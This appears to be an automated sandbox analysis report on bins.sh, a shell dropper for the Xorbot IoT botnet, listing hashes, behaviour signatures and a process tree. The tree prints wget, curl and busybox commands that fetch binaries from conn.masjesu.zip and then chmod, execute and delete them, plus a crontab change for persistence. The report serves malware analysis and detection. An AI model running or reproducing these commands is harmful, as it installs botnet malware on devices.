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Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/01/2025, 14:13

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    04ac510b4466c553a459c7264b194f3e

  • SHA1

    f0deb66e13ea8cbb8a71434f5c200be9d7367ee7

  • SHA256

    6bc6d2a7fcc516228216f14299f9d6d63352617bbd0f333d2468b620f229f85e

  • SHA512

    0d297298c9596f76e8e1981a53171dc1169faeb58bc27b245ecff95f860048e62966ef1b7e89e6701394c49365ca04c66711de8ac4b4335b16a914798395bfd0

  • SSDEEP

    192:evIvUvP44HFPBEq6OPAe31MokoD+mBUkoD+mXPvIvUvP44X6OPAe3se:egsjFpEAFM+kPgsnL

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1321) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          ./1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            ./2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
              PID:753
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:754
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:762
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              ./uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • Executes dropped EXE
              PID:785
            • /bin/rm
              rm uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • System Network Configuration Discovery
                PID:790
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:795
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • File and Directory Permissions Modification
                PID:811
              • /tmp/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                ./TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • Executes dropped EXE
                PID:812
              • /bin/rm
                rm TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                  PID:814
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:816
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:819
                • /tmp/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  ./PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                  • Executes dropped EXE
                  PID:820
                • /bin/rm
                  rm PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:823
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:824
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /bin/chmod
                    chmod 777 HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:839
                  • /tmp/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    ./HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                    • Executes dropped EXE
                    PID:840
                  • /bin/rm
                    rm HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                    2⤵
                      PID:843
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:845
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /bin/chmod
                      chmod 777 FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      2⤵
                      • File and Directory Permissions Modification
                      PID:868
                    • /tmp/FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      ./FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:869
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:871
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:872
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:873
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:874
                        • /bin/rm
                          rm FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB
                          2⤵
                            PID:876
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/sCpCBYiq7TnqreFpGPNO0GJUz7dNK4fMrc
                            2⤵
                            • System Network Configuration Discovery
                            PID:879

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/FVVUO9Ut9HTRUQswXcIbAJ5pvl6hwwZPJB

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /var/spool/cron/crontabs/tmp.mOUEp4

                          Filesize

                          210B

                          MD5

                          e1c620f1c15e78d3f70bfce079e6b83b

                          SHA1

                          d4bfa79dae54092d882412bfc7ef3ca264d5a96b

                          SHA256

                          0a89d6f616c562df84777e04baedfb2a0098384db44381d6495f7fb4692ac33c

                          SHA512

                          6b98c6f531eefed3881ae804dd91e9204adc012016900be9944023088e57af3c959ad1da3c67f65356229b45e8680929e828c86078531e78de63d312d2abe390